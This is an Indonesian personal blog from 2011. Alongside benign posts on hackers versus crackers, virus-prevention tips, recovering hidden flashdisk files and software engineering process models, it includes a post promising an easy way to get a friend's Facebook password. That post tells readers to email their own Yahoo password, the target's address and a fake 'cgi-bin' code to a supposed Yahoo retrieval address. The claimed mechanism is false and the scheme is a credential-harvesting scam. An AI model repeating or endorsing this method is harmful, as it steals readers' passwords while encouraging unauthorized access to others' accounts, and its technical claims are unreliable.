It's all about my world

Sabtu, 26 Maret 2011


Artikel:
MENJADI HACKER ATAU CRACKER ?


Judul: MENJADI HACKER ATAU CRACKER ?
Bahan ini cocok untuk Informasi / Pendidikan Umum bagian INTERNET.
Nama & E-mail (Penulis): sopi priatna
Saya Guru di bandung
Topik: Kesalahan penafsiran antara hacker dan cracker
Tanggal: 30 April 2005
Ketika saya membaca sebuah tulisan tentang hacker dan cracker, beberapa hari yang lalu, saya tersadarkan akan kesalahan penafsiran saya pada dua istilah tersebut dalam dunia cyberspace. Awalnya saya beranggapan bahwa hacker adalah cracker itu sendiri. Atau sama-sama mengusung sebuah "penamaan" untuk membobol mekanisme dan kinerja komputer orang lain. Hal itu pula lah yang kemudian menggiring kesadaran saya untuk mencoba berselancar di dalam internet selama berjam-jam, mengeprin beberapa naskah yang berkaitan dengan itu dan mencoba berkomunikasi dengan orang lain dalam arena chating.

Satu pertanyaan yang saya ajukan pada mereka adalah, apa itu hacker? Dan tragisnya, apa yang mereka jawab hampir sama dengan apa yang saya miliki, yakni seorang hacker adalah penyusup yang sengaja masuk pada jaringan komputer milik orang lain secara ilegal dan "mengacak-ngacak" dokumen didalamnya. Lalu apa itu cracker? Jawabannya pun nyaris sama. Intinya, baik hacker maupun cracker adalah para penyusup yang harus di waspadai keberadaanya. Kalau kedua istilah itu punya arti yang sama, maka pasti ada yang salah dengan pendefinisian keduanya.

Lalu, dimana letak kesalahan dari pendefinisian kedua istilah yang kerap hinggap ditelinga kita ini? Apalagi semenjak ada kabar bahwa "KPU-online" dibobol oleh para "hacker" beberapa bulan kebelakang. Benarkah itu adalah pekerjaan seorang hacker? Atau pekerjaan seorang cracker?

Tulisan ini mencoba menjawab dua istilah yang tidak asing ditelinga kita tersebut dengan wacana seorang pembelajar murni. Artinya, saya bukan dari kedua golongan tadi. Walaupun pada akhirnya menjadi tertarik untuk sekedar tahu aktifitas mereka (para hacker & cracker) sebagai satu ilmu yang menarik dalam dunia IT beberapa tahun ini.

PERSOALAN DASAR

Hacker dalam tulisan Eric Steven Raymond adalah " there is a community, a shared culture, of expert programmers and networking wizards that its history back trough decades to the firs time-sharing minicomputers and the earliesr ARPAnet experiment"

Dengan kata lain, Raymon mengatakan, "the members of this culture originated the term 'hacker'". Para hackerlah yang kemudian memperkenalkan internet, membuat program sistem operasi UNIX hingga bisa digunakan saat ini. Dan para hacker pula lah yang telah berjasa dalam menjalankan World Wide Web sehingga dapat dinikmati oleh semua orang di seluruh dunia di belahan manapun dia berada asal terkoneksi pada internet.

Lebih lanjut Raymon mengatakan " jika anda berada pada komunitas ini dan jika anda memiliki konstribusi didalamnya, dan kemudian orang mengenal anda sebagai hacker, maka anda adalah seorang hacker".

Sekilas dari pandangan Raymon kita dapat satu definisi bahwa seorang hacker bukanlah orang yang jahat seperti yang kita pikirkan selama ini. Ya, jika mereka memang bisa masuk kedalam komputer kita (malalui jaringan internet) karena mereka bisa menguasai ilmunya. Namun jika ada orang yang kemudian masuk secara ilegal kedalam komputer kita dan kemudian "mencuri dan mengacak-ngacak" data kita, mereka adalah CRACKER. Dan bisa jadi mereka adalah seorang hacker dalam dunia yang berbeda. Dengan kata lin, mereka semua adalah para ahli dalam hal teknologi informasi ini dan berkecimpung serius didalamnya.

Namun untuk menghindari kerancuan, maka sebuah kata kunci dalam masalah ini, menurut Raymon adalah perbedaan antara keduanya; seorang Hacker adalah dia yang membangun sistem, sementara seorang Cracker malah "menghancurkannya". (How to become a hacker, Eric S. Raymond, 2001).

Kapan istilah hacker menjadi trend sebagai sebuah kejahatan yang menakutkan? Tidak lain karena "dosa" pakar film di hollywood yang membiaskan istilah hacker dan cracker ini. Banyak film yang mengangkat tema hacker dalam sebuah bentuk "penghancuran sistem informasi " yang seharusnya makna itu diterapkan pada seorang cracker.

Sebut misalnya film the Net (1995), Take Down(1999). Film tersebut mengangkat tema hacker untuk menyebut cracker.

Dan dari kesalah penafsiran tadi, hingga kini pun istilah hacker masih dibiaskan dengan istilah cracker. Kerancuan itu tidak hanya terjadi di Indonesia saja, bahkan di luar negeripun pandangan terhadap keduanya sama seperti itu.

Terminologi hacker muncul pada awal tahun 1960-an diantara anggota organisasi mahasiswa Tech Model Railroad club di Lab Kecerdasan Artifisial Masschusetts Institute Of Teknology (MIT). Istilah hacker awalnya bermakna positif untukmenyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat progranm komputer dengan lebih baik ketimbang yang ada sebelumnya (Memahmi karakteristik Komunitas Hacker: Studi Kasus pada Komunitas Hacker Indonesia, Donny B.U, M.Si)

MENJADI HACKER

Mungkin sekilas tentang definisi di atas cukup untuk membatasi sejauhmana peranan seorang hacker dan cracker itu. Tulisan ini tidak akan mengangkat sejarah hacker dan awal mula kerancuannya. Namun lebih menitik beratkan pada bagaimana seandainya kita belajar menjadi hacker. Atau lebih spesifik, bisakah kita menjadi seorang hacker?

Dalam tulisan How to Become a Hacker, Eric Steven Raymon mengatakan bahwa menjadi hacker tidaklah segampang yang dikira. Langkah awal untuk menjadi seorang hacker haruslah menguasai minimal 5 bahasa pemrograman yang ada. Ia menyebut bahasa pemrograman C/C++, Java, Perl, Phyton & LISP. Selain itu mampu berinteraksi dengan program HTML untuk dapat membangun komunikasi dengan jaringan internet. Semua dasar diatas adalah ilmu yang "wajib" dimiliki jika kita memang berminat untuk menjadi seorang hacker sejati. Karena pada dasarnya menjadi Hacker adalah penguasaan terhadap membaca dan menulis kode.

Kenapa kode? Karena memang komputer yang kita jalankan setiap hari pada intinya adalah terdiri dari berbagai kode instruksi yang cukup rumit.

Selain penguasaan terhadap bahasa pemrograman diatas, kita pun harus punya bekal yang cukup dalam berbahasa inggris untuk dapat saling bertukar pikiran dengan komunitas hacker dari seluruh dunia. Ini tidak dilarang karena pada umumnya, mereka (anggota komunitas tersebut) memiliki kode etik tersendiri tentang open-source atau kode-kode program yang boleh dibuka dan diutak atik oleh orang lain. Contoh, kode-kode Linux yang marak di perkenalkan baru-baru ini memiliki konsep open source dan karenanya bisa dimiliki oleh khalayak ramai dengan sebutan free software.

Kembali pada persoalan diatas, menjadi seorang hacker untuk tujuan saling berbagi ilmu dalam teknologi informasi ini, atau dalam arti yang lebih luas untuk memudahkan pemakai komputer pada masa yang akan datang, bukanlah hal harus ditakuti. Sebaliknya, ilmu tersebut harus diterjemahkan dan sama-sama digali sehingga menjadi bagian terintegral dalam memahami lika-liku dunia cyber. Asal saja kita tidak terjebak pada prilaku yang negatif sehingga menjadi seorang cracker yang membobol sitem rahasia orang lain.

AWAL SEBUAH PERJUANGAN

Ketika kita meniatkan diri untuk lebih akrab dengan dunia hacker, maka selain beberapa bekal yang disebutkan diatas, penguasaan bahasa pemrograman, html dan bahasa inggris, nampaknya niat tersebut harus juga dilengkapi dengan satu sikap mendasar tentang orientasi dan tujuan awal kita menjadi seorang hacker. Alih-alih menjadi seorang pakar pemrograman yang baik, jika tidak benar malah bisa terjebak pada prilaku negativ yang tidak hanya merugikan orang lain tapi merugikan diri sendiri. Konon, jika seandainya saja anda menjadi seorang cracker dan anda dikenal suka membuka rahasia orang lain, maka, jangan harap anda dapat dengan mudah berjalan-jalan kemanca negara. Karena, kata beberapa sumber, nama anda sudah di "black list" sebagai penjahat cyber?

Di sisi ini menarik untuk di simak, satu sisi, kita butuh teknologi canggih yang kerap bermunculan dalam hitungan detik, sisi lain ada kehawatiran takut terjebak pada pola "nyeleneh" yang berakibat patal. Namun demikian, sebagai satu sikap, kita berpijak pada satu kesepakatan, bahwa mempelajari bahasa-bahasa yang ditawarkan oleh Eric Steven Raymon diatas, adalah hal yang baik. Karena dengan mempelajarinya, kita minimal dapat mendapat solusi untuk membuat program yang berguna bagi orang lain. Dan jika ini dilakukan, percayalah, anda adalah seorang hacker.


" 7 Cara Mudah Mendapatkan Password Facebook Teman "
Klick Di Sini untuk login ke facebook anda atau Di sini untuk masuk ke ID Yahoo anda.
 
Tak banyak yang tau kalau ternyata facebook dan yahoo menjalin sebuah kerja sama yang unik, hal ini baru saya tau beberapa waktu yang lalu dari seorang kawan yg kebetulan juga baru mendapatkan informasi ini.

Dan dengan memanfaatkan celah dari kerja sama inilah kita dapat mengetahui password dari account facebook seseorang dengan sangat mudah.

Saya sendiri sudah mencoba beberapa cara dan selalu gagal, sudah men-download berbagai macam software dalam usaha ini tapi tetap saja tak berhasil mendapatkan password account yg di incar.

Tapi ternyata, setelah mengetahui celah ini, saya sampai merasa bodoh sendiri. Karena ternyata sangat mudah mendapatkan password facebook seseorang jika kita tau cara yg tepat.

Dan sama sekali tidak memerlukan software…!!

oke akan saya jelaskan caranya..

1. login ke yahoo.

ingat..!! account yahoo anda harus berumur minimal 30 hari agar cara ini bekerja dengan baik dan harus merupakan alamat email yg anda gunakan pada saat registrasi facebook@yahoo.com. Yahoo akan dengan otomatis menolak email yg tidak terhubung ke Facebook.

2. Jika sudah masuk ke yahoo, tulislah sebuah email yang anda tujukan untuk staff facebook di Yahoo dengan alamat email: passwretriever@yahoo.com server Yahoo akan mengirimkan secara otomatis password “terlupakan” tersebut.

3. Pada baris SUBJECT masukkan/ketik kalimat : PASSWORD RETRIEVE

4. lalu pada baris pertama mail anda tuliskan alamat email korban yg akan anda hack

5. Pada baris kedua masukkan alamat email yg anda gunakan

6. Pada baris ketiga tuliskan password yahoo anda.

Ingat, password yang anda masukkan inilah yang akan menentukan berhasil tidaknya usaha anda karena sever yahoo akan secara otomatis melakukan login untuk meng-konfirmasi valid atau tidaknya email andan, dengan kata lain server yahoo akan meng-extract password dari email calon korban anda dengan menggunakan password anda.

Dan proses ini sangat aman karena anda mengirim email kepada mesin dan bukan kepada seseorang.

7. Dan di baris terakhir masukkan kata : cgi-bin/$et76431&pwrsa ini merupakan kode yang dibutuhkan untuk men-cocokkan email anda dengan email calon korban yg anda minta password nnya.

jadi jika misalkan email anda adalah cinta.laura@yahoo.com

dan email korban anda adalah krisdayanti@yahoo.com

dan password anda adalah : rahasia

maka email yg anda tulis nantinya adalah:

To: passwretriever@yahoo.com
bcc: cc: (biarkan kosong)
Subject: password retrieve

krisdayanti@yahoo.com

cinta.laura@yahoo.com

rahasia

cgi-bin/$et76431&pwrsa

selanjutnya setelah anda mengirim email tersebut anda akan mendapatkan balasan secara otomatis dari yahoo dengan dengan subject: System Reg
Message

biasanya yahoo memerlukan waktu sekitar 30 menit untuk mengkonfirmasikan dan meng-extract password yang anda minta.

selamat mencoba…

Jumat, 25 Maret 2011


10 tips mencegah dan menyembuhkan virus di PC

Beberapa anggota WikiMu ternyata pernah menjadi korban serangan virus komputer, worm, spyware, dan semacamnya. Terakhir komputer saya dijangkiti virus, itu lebih dari sepuluh tahun yang lalu di mana virus masih menyebar melalui floppy disk dan komputer lebih banyak dijalankan dengan floppy disk (bukan harddisk). Sejak menggunakan harddisk, saya tidak pernah ingat ada virus yang pernah mampir ke komputer saya. Jadi berbekal pengalaman ini, saya ingin membagikan 10 tips agar anda tidak menjadi salah satu korban.

Beberapa anggota WikiMu ternyata pernah menjadi korban serangan virus komputer, worm, spyware, dan semacamnya. Terakhir komputer saya dijangkiti virus, itu lebih dari sepuluh tahun yang lalu di mana virus masih menyebar melalui floppy disk dan komputer lebih banyak dijalankan dengan floppy disk (bukan harddisk). Sejak menggunakan harddisk, saya tidak pernah ingat ada virus yang pernah mampir ke komputer saya. Jadi berbekal pengalaman ini, saya ingin membagikan 10 tips agar anda tidak menjadi salah satu korban.

1. Update Sistem Operasi

Bukan rahasia, Microsoft Windows merupakan system operasi yang paling banyak dijangkiti virus. Ini bukan berarti Windows lebih jelek dari pada sistem operasi yang lain, tapi semata-mata karena Windows merupakan sistem operasi yang paling banyak dipergunakan orang. Bagi pembuat virus, ini sasaran empuk, karena tidak susah mencari target.

Microsoft belakangan semakin memperhatikan masalah ini. Terbukti dengan komitmen Microsoft untuk terus menambahkan fitur-fitur security sebagai patch atau upgrade versi. Tapi otomatis ini tidak akan menyelesaikan masalah bila anda tidak menginstall patch tersebut. Kalau anda terhubung ke Internet, anda bisa mengaktifkan fitur Live Update yang otomatis akan mengupdate sistem operasi anda secara berkala.

Bila anda tidak punya koneksi Internet, anda bisa mendapatkan kumpulan update/patch dari Microsoft yang biasanya disebut sebagai Service Pack. Kalau anda menggunakan Windows XP, sangat disarankan anda menginstall Service Pack yang kedua (Windows XP SP-2). Di dalamnya banyak sekali fitur security yang ditambahkan. Di antaranya firewall dan popup blocker untuk Internet Explorer.



Firefox Eats IE
2. Disiplin Saat Browsing Internet

Kalau anda sering connect ke Internet, sebaiknya jangan gunakan IE (Internet Explorer) versi 6 dan sebelumnya. Gunakan Mozilla Firefox atau Opera. Kalau terpaksa pakai IE, pakai versi 7. IE 6 dan sebelumnya dikenal memiliki banyak lobang dan celah keamanan. Microsoft termasuk cukup lambat dalam mengupdate browsernya, karena itu celah keamanan sering dibiarkan terbuka terlalu lama tanpa ditambal. Selain itu seperti alasan yang dikemukakan sebelumnya, karena IE merupakan browser yang paling banyak dipergunakan, para hacker juga suka bereksperimen dengan IE.

Hindari pula berkunjung ke situs-situs underground yang menawarkan barang bajakan atau pornografi. Situs-situs semacam itu banyak menyertakan virus dan spyware secara terselubung bersama program-program yang mereka berikan.

Jangan sembarangan download apalagi install program dari sumber yang tidak jelas. Bila anda butuh suatu program dan anda menemukannya di Internet, namun pembuatnya tidak cukup terkenal atau bonafide, konsultasikan dulu dengan teman anda yang lebih mengerti apakah program tersebut cukup aman untuk dipergunakan. Termasuk jangan suka install toolbar untuk IE, screen saver, dan program-program tidak jelas lainnya kalau anda tidak paham konsekuensinya.



Firewall
3. Aktifkan Firewall di Jaringan

Kalau komputer anda terkoneksi di jaringan (LAN di kantor atau Internet), selalu hidupkan firewall. Windows XP SP-2 sudah menyertakan firewall yang biarpun fungsinya minimal tapi lebih baik daripada tidak sama sekali. Firewall akan menghalangi akses-akses yang tidak terotorasi oleh pihak lain. Firewall biasanya cukup ampuh untuk menangkal worm dan trojan.



Thunderbird
4. Hati-Hati Membuka Email

Email yang kita terima bukan hanya email yang kita harapkan, tapi bisa juga berupa spam atau junk mail. Biasanya email tersebut berisi iklan penawaran produk tertentu atau link ke situs-situs tertentu. Tapi tidak jarang pula email tersebut disertai satu attachment yang berisi satu aplikasi yang bila anda jalankan akan menjangkiti komputer anda dengan virus.

Pastikan attachment yang anda buka memang anda harapkan. Artinya anda memang menunggu kiriman sesuatu dari orang yang sudah anda kenal. Sekalipun pengirimnya sudah anda kenal, kalau ada attachment yang tidak anda minta, pastikan dulu ke pengirimnya apa isi attachment tersebut. Karena tidak jarang orang melakukan spoofing, menggunakan nama teman anda untuk mengirimkan virus.



Flashdisk
5. Hati-Hati Saat Membuka Storage Orang Lain

Saat anda membuka storage orang lain, entah yang removable (CD, DVD, Flashdisk, Disket, dan lain sebagainya) atau yang fixed (network share atau website), berhati-hatilah. Bukan tidak mungkin anda menemukan harta karun berupa file yang sudah terjangkiti virus. Sebisa mungkin jangan berbagi storage. Berbagi storage = joinan kuman.



AVG Antivirus
6. Pasang AntiVirus dan Anti Spyware Bila Perlu

Sebenarnya jika anda sudah mengikuti lima tip di atas, anda tidak memerlukan lagi software antivirus atau anti spyware. Tapi bila anda terpaksa (karena pekerjaan atau hobi) harus membuka situs-situs underground, terima email-email gak jelas, atau sharing storage dengan orang lain, sebaiknya anda beri proteksi tambahan pada komputer anda berupa program antivirus atau anti spyware.

Program-program ini biasanya memang bikin komputer jalan lebih lambat karena sifatnya yang TSR (Terminate & Stay Resident). Artinya begitu program ini dijalankan, dia akan tinggal terus di komputer anda untuk memonitor aktivitas anda. Setiap anda membuka, mengubah, atau meng-copy file, antivirus akan melakukan checking apakah aktivitas itu legal (memang anda yang melakukan atau virus yang melakukan). Program juga biasanya akan mengecek database internal nya untuk melihat adakah gejala-gejala komputer terinfeksi virus.

Kalau tidak mau komputer jadi lambat karena antivirus, coba gunakan antivirus AVG. Antivirus ini lebih enteng (tidak memakan terlalu banyak sumber daya komputer) dibanding anti virus lain yang lebih populer macam Norton Anti Virus, McAfee, Kaspersky, dan Bit Defender. Dan ada versi gratisnya loh. Jangan lupa, gunakan satu saja program antivirus di komputer anda. Lebih dari satu biasanya lebih merepotkan dan banyak konflik.

Untuk anti spyware anda bisa gunakan LavaSoft Ad-Aware dan Spybot Search & Destroy. Gunakan keduanya kalau perlu. Aplikasi anti spyware biasanya hanya dijalankan on-demand (saat diperlukan), bukan model TSR seperti antivirus. Jalankan anti spyware anda secara berkala untuk menghilangkan "mata-mata" dari komputer anda.



Bagaimana Kalau Sudah Terinfeksi

Keenam tips di atas adalah pencegahan. Bila diikuti, mestinya anda sudah bisa menggunakan komputer anda dengan aman dan nyaman tanpa takut dihinggapi virus-virus pengganggu. Tapi kalau anda belum melakukan pencegahan tapi komputer anda sudah kebobolan bagaimana penyembuhannya? Kalau sudah kebobolan, biasanya anda sudah tidak bisa menginstall antivirus untuk menyembuhkannya karena virus sudah cukup cerdik untuk menghalangi anda menginstall software antivirus.



Computer Technician
7. Minta Tolong Orang Lain

Langkah ini paling gampang, namun butuh biaya tambahan-bila anda minta bantuan profesional seperti teknisi komputer. Tapi juga agak beresiko. Bukan tidak mungkin foto-foto atau dokumen pribadi anda disebarkan di Internet oleh pihak yang tidak bertanggungjawab. Jadi kalau anda tidak punya teman yang bisa dipercaya, lebih baik anda belajar sendiri "menyembuhkan" komputer anda. Simak langkah-langkah berikut untuk melakukannya.



Eraser
8. Pembersihan Manual

Kalau anda tahu jenis virus yang menjangkiti komputer anda, anda bisa mencari informasi lebih lanjut tentang virus itu dengan bantuan Google. Situs-situs penyedia software anti virus biasanya juga menyediakan program-program kecil untuk membersihkan virus tertentu yang populer. Anda bisa mendownload program tersebut (biasanya gratis) dan membersihkan virus di komputer anda.

Sayangnya, biasanya virus tidak bekerja sendiri, begitu menginfeksi, dia juga membuka pintu (Trojan) untuk virus-virus yang lain agar masuk. Jadi anda bisa repot atau menghabiskan banyak waktu untuk membersihkan semua virus. Supaya praktis, anda bisa baca tips ke-sembilan.



Broom
9. Format dan Install Ulang Windows

Cara ini cukup efektif. Dengan format, anda menghapus semua isi harddisk anda, termasuk virus. Setelah format, anda harus menginstalasikan kembali semua program yang akan anda pergunakan, termasuk sistem operasi satu per satu.

Tapi hati-hatilah kalau harddisk anda dipartisi. Kalau yang anda format adalah drive C, sedangkan virus juga berdiam di drive D, setelah anda install Windows, saat anda akses drive D, Windows anda akan terjangkiti lagi. Formatlah semua drive yang ada untuk memastikan komputer anda bersih dari virus. Tentunya selamatkan dulu data anda sebelum melakukannya. Copykan ke flashdisk atau media lain.

Setelah anda install ulang komputer anda, segera pasang anti virus, lalu lakukan scanning ke flashdisk tempat anda menyimpan data tadi. Setelah bersih dari virus, baru copykan lagi data tadi ke komputer anda.

Sebagai tambahan catatan, melakukan. Beberapa orang mengatakan bahwa format bisa mengurangi umur harddisk atau komputer anda. Itu hanya mitos. Anda bisa memformat harddisk anda ribuan kali, harddisk anda tidak akan lebih cepat rusak dibandingkan menulis file ribuan kali juga.

10. Gunakan Sistem Operasi Alternatif

Bila anda tidak terikat dengan Windows-entah karena pekerjaan atau memang tidak bisa lepas dari Windows-anda bisa mencoba menggunakan sistem operasi lain. Kalau kegiatan anda dengan komputer hanya sebatas browsing Internet, email, membuat dokumen-dokumen Office dan presentasi, bekerja dengan spreadsheet, dan pekerjaan-pekerjaan umum lainnya, sebenarnya anda tidak perlu terikat dengan Microsoft Windows. Ada sangat banyak pilihan sistem operasi yang bisa anda gunakan. Umumnya sistem operasi lain sangat jarang dijangkiti virus.

UbuntuUntuk para pekerja Office, anda bisa gunakan Ubuntu Linux. Sistem operasi tersebut gratis dan sangat mudah dipergunakan. Sudah menyertakan paket-paket standar untuk keperluan browsing Internet, email, dan membuat berbagai macam dokumen. Ada pula program-program hiburan semacam game, media player, dan music player.

Mac OS XUntuk para designer, anda mungkin akan tergantung pada aplikasi-aplikasi grafis yang masih cukup sulit ditemukan di sistem operasi varian Linux. Anda bisa menggunakan Apple Mac OS X. Aplikasi yang ditawarkan cukup lengkap, terutama yang berkaitan dengan design dan multimedia. Tapi sistem operasi ini sifatnya sama seperti Windows, yakni komersil.

Sistem-sistem operasi alternatif di atas bisa membuka file-file umum yang anda buat di Windows, jadi anda tidak perlu takut pekerjaan anda selama ini hilang.

Sekian dulu tips dari saya, semoga bisa membantu pembaca sekalian. Pertanyaan atau tambahan bisa disampaikan.

Rabu, 23 Maret 2011

CARA MENGEMBALIKAN DATA YANG TIBA-TIBA BERUBAH MENJADI SHORTCUT KARNA VIRUS lihat di sini.
Apakah anda tahu kenapa data di flashdisk anda tiba-tiba menjadi shortcut setelah anda mencabutnya dari komputer teman anda????

Benar sekali itu disebabkan oleh virus dari komputer teman anda ke flasdisk anda.
Jangan resah karna saat anda meng-klik salah satu folder dari flashdisk tersebut muncul peringatan apakah anda akan menghapus shortcut ini? lihat di sini

Kebingungan memang membuat kita semakin tambah bingung dan kadang membuat kita terlihat sangat blo'on. Sungguh memilukan.
Sesungguhnya data-data anda sama sekali tidak hilang cuman di sembunyi'in sama tuh pembikin ribut and suka bikin orang panik terutama suka baget ngusilin kita-kita. Yah benersekali tuh namanya pirus eh virus maksutnya. Kita jadi terlihat begitu blo'on ketika di kerjain oleh tuh virus,,,
emang kurang ajar banget yah tuh virus. Banyak orang kebingungan gimana caranya menjaga komputer dan flashdisknya dari serangan virus. Solusi paling utama mending jangan hidupin komuter anda dan lebih baik bungkus lagi komputer anda ke dalam kardusnya taruh deh di atas lemari, di jamin nggak bakalan komputur anda terkena virus dan enggak perlu browsing sana browsing sini cuman buat nyari sulusi gimana cara nyegah tuh virus hilang. kwakwakwakwakwakwak,,,, di jamin deh serius,,,
berjuta-juta rius malah.bercanda Do,,,
Tuh virus nggak ngilangin data-data anda cuman tuh virus yang super nyebelin dengan isengnya nyembunyi'in data-data anda.
solusi termudah dapat anda dapatkan dengan membaca postingan di blog saya ini secara teliti.

Lima Langkah Cepat Menyelamatkan Data Anda :

Langkah pertama :
klik Start >> Run >> kemudian ketikkan cmd >> lalu tekan ok
atau masuk Start >> Programs >> Accessories >> Command Prompt

Langkah kedua :
setelah masuk cmd alias command prompt biasanya directory nya ada di C:/ tapi jika yang terkena ada di drive D:/ , F:/ bahkan G:/ anda cukup mengetikkan di cmd misalnya F: secara otomatis maka akan masuk ke drive F:/

Langkah ketiga :
ketik kan dir /a
fungsinya untuk memunculkan semua keseluruhan file terutama file-file yang ke hiden ( disembunyikan ).

Langkahkeempat :
ketikkan attrib -r -h -s*.*/s /d

Langkah ke lima :
cek di explorer drive F:  maka disitu bisa anda lihat kalau data-data anda masih dalam keadaan utuh dan selamat.

Selamat mencoba, semoga tips yang saya berikan ini berhasil dengan mudah anda lakukan.
nahhh ini di namakan menghancurkan virus dengan attrib.


salam manis
-beljiw-

Senin, 17 Januari 2011

Perangkat Lunak
Merupakan program-program komputer dan dokumentasi yang berkaitan,
Produk perangkat lunak dibuat untuk pelanggan tertentu ataupun untuk pasar umum
Produk perangkat lunak tersebut:
  • Generik – dibuat untuk dijual ke suatu kumpulan pengguna yang berbeda
  • Bespoke (custom) – dibuat untuk suatu pengguna tunggal sesuai dengan spesifikasinya.

Rekayasa Perangkat Lunak:
  • adalah suatu disiplin rekayasa yang berkonsentrasi terhadap seluruh aspek produksi perangkat lunak.
  • mengadopsi pendekatan yang sistematis dan terorganisir terhadap pekerjaannya dan menggunakan tool yang sesuai serta teknik yang ditentukan berdasarkan masalah yang akan dipecahkan, kendala pengembangan dan sumber daya yang tersedia

Proses Perangkat Lunak

Sekumpulan aktifitas yang memiliki tujuan untuk pengembangan ataupun evolusi perangkat lunak.
Aktifitas generic dalam semua proses perangkat lunak adalah:
  • Spesifikasi – apa yang harus dilakukan oleh perangkat lunak dan batasan/kendala pengembangannya
  • Pengembangan – proses memproduksi sistem perangkat lunak
  • Validasi – pengujian perangkat lunak terhadap keinginan penggunak
  • Evolusi – perubahan perangkat lunak berdasarkan perubahan keinginan.

Model Proses Perangkat Lunak

Suatu representasi proses perangkat lunak yang disederhanakan, dipresentasikan dar perspektif khusus
Contoh perspektif proses:
  • Perspektif Alur-kerja (workflow) - barisan kegiatan
  • Perspektif Alur Data (Data flow) – alur informasi
  • Perspektif Peran/Aksi – siapa melakukan apa.
Model proses Generik:
  • Waterfall (Air terjun)
  • Pengembangan secara evolusi
  • Transformasi formal
  • Model SPiral
  • Integrasi daru komponen yang reusable

Biaya rekayasa perangkat lunak

  • Sekitar 60% untuk biaya pengembangan, 40% biaya pengujian. Untuk perangkat lunak berbasis pengguna (custom), biaya evolusi biasanya melebihi biaya pengembangan.
  • Biaya beragam tergantung pada tipe sistem yang akan dikembangkan dan kebutuhan sistem seperti unjuk kerja dan kehandalan sistem,
  • Distribusi biaya bergantung pada model pengembangan yang digunakan.

Metode Rekayasa Perangkat Lunak

Pendekatan terstruktur pengembangan PL termasuk model sistem, notasi, perancangan dan petunjuk pemrosesan,
Deskripsi Model: deskripsi pemodelan dengan grafik,
Aturan: Batasan yang digunakan pada model sistem
Rekomendasi: nasihat bentuk perancangan yang baik,
Petunjuk proses: Aktifitas yang harus diikuti,

Atribut Perangkat Lunak yang baik:
PL seharusnya memberikan pengguna kebutuhan fungsionalitas dan unjuk kerja yang dapat di rawat, berguna,
Maintanability (Dapat Dirawat)

PL harus dapat memenuhi perubahan kebutuhan

Dependability

PL harus dapat dipercaya

Efisiensi

PL harus efisien dalam penggunaan resource

Usability

PL harus dapat digunakan sesuai dengan yang direncanakan



Proses Perangkat Lunak


Suatu proses model adalah suatu representasi abstrak suatu model. Proses model menampilkan suatu deskripsi suatu proses dari beberapa perspektif tertentu,

Proses PL merupakan aktifitas yang saling terkait (koheren) untuk menspesifikasikan, merancang, implementasi dan pengujian sistem perangkat lunak.

Model Proses PL yang Generic

  • Model Air terjun (Water fall)
    • Memisahkan dan membedakan antara spesifikasi dan pengembangan
  • Pengembangan yang berevolusi

Spesifikasi dan pengembangan saling bergantian

  • Pengembangan sistem Formal
    • Menggunakan suatu model sistem matematika yang ditransformasikan ke implementasi,
  • Pengembangan berbasis Re-use (penggunaan ulang)
Sistem dibangun dari komponen yang sudah ada.

Model Air Terjun (Water Fall)

Fase Model Air Terjun
  1. Analisis Kebutuhan dan pendefinisiannya

Perancangan sistem dan Perangkat Lunak

  1. Implementasi dan unit testing
  2. Integrasi dan pengujian sistem
  3. Pengoperasian dan perawatan
Proses kembali ke state sebelumnya untuk mengantisipasi perubahan setelah proses menuju ke suatu state di bawahnya adalah sangat sulit.

Masalah pada Model Air Terjun:
  • Partisi projek ke stages yang berbeda tidak fleksibel.
  • Hali ini mengakibatkan sulitnya untuk merespon perubahan kebutuhan pengguna
  • Oleh sebab itu model ini hanya cocok digunakan apabila kebutuhan pengguna sudah dimengerti dengan baik,

Pengembangan yang berevolusi (Evolutionary Development)

Pengembangan yang berdasarkan penyidikan
Tujuannya untuk mengaktifkan pengguna dan memperolah model final berasal dari initial spesifikasi awal. Seharusnya diawali dengan kebutuhan yang sudah dimengerti,
Throw-away prototyping
Tujuannya adalah untuk memahami kebutuhan sistem. Biasanya diawali dengan pemahaman kebutuhan yang minim.


Permasalahan dalam model pengembangan yang berevolusi:
  • Kekurangan visibilitas proses
  • Model sistem biasanya tidak terstruktur
  • Membutuhkan kemampuan khusus (mis.: bahasa pemrograman untuk rapid prototyping).

Pemakaian model pengembangan yang berevolusi

  • Untuk sistem interaktif yang kecil atau menengah
  • Untuk salah satu bagian dari sistem yang besar (mis. User Interface)
  • Untuk sistem yang digunakan tidak terlalu lama (short lifetime).

Pendekatan pengembangan sistem Formal


Berbasiskan pada transformasi spesifikasi secara matematik melalui representasi yang berbeda untuk suatu program yang dapat dieksekusi,
Trasformasi menyatakan spesifikasi program
Menggunakan pendekatan ‘Cleanroom’ untuk pengembangan PL.


Pengembangan menggunakan konsep Re-use (Penggunaan Ulang)


Proses dengan metode Iterasi

Model Iterasi dapat digunakan pada setiap model proses generic
Terdapat dua pendekatan:
  • Pengembangan Incremental
  • Model Spiral

Model Pengembangan Incremental


Pengembangan sistem berdasarkan model sistem yang dipecah sehingga model pengembangannya secara increament/bertahap
Kebutuhan pengguna diprioritaskan dan priritas tertinggi dimasukkan dalam awal increment
Setelah pengembangan suatu increment dimulai, kebutuhan dibekukan dulu hingga increment berikutnya dimulai


Keuntungan

Nilai penggunan dapat ditentukan pada setiap increament sehingga fungsionalitas sistem disediakan lebih awal,
Increment awal berupa prototype untuk membantu memahami kebutuhan pada increment berikutnya,
Memiliki risiko lebih rendah terhadap keseluruhan pengembagan sistem,
Prioritas tertinggi pd pelayanan sistem adalah yang paling diuji.

Model Pengembangan Spiral

Proses direpresentasikan sebagai model spiral (bukan berupa barisan aktfitas yang dapat ditrack mundur)
Setiap loop dalam model spiral menyatakan fase proses,
Tidak terdapat fase tertentu seperti spesifikasi atau perancangan, tetapi loop dalam spiral ditentukan pada apa yang dibutuhkan,
Sektor pada model Spiral
Menentukan Tujuan

Mengidentifikasikan spesifikasi tujuan setiap fase

Menilai Resiko dan Pengurangannya
Resiko dinial dan aktifitas ditempatkan untuk mengurangi resiko kunci
Pengembangan dan validasi

Suatu model pengembangan sistem dipilih dari model generic

Perencanaan

Project di review dan fase spiral berikutnya direncanakan


Spesifikasi Perangkat Lunak
Proses untuk menentukan pelayanan (servis) apa yang dibutuhkan dan kendala-kendala pengoperasian sistem serta pengembangannya,
Proses Rekayasa Kebutuhan
  • Studi Kelayakan
  • Analisis kebutuhan
  • Spesifikasi Kebutuhan
  • Validasi spesifikasi

Proses Rekayasa Kebutuhan





Perancangan dan Implementasi Perangkat Lunak

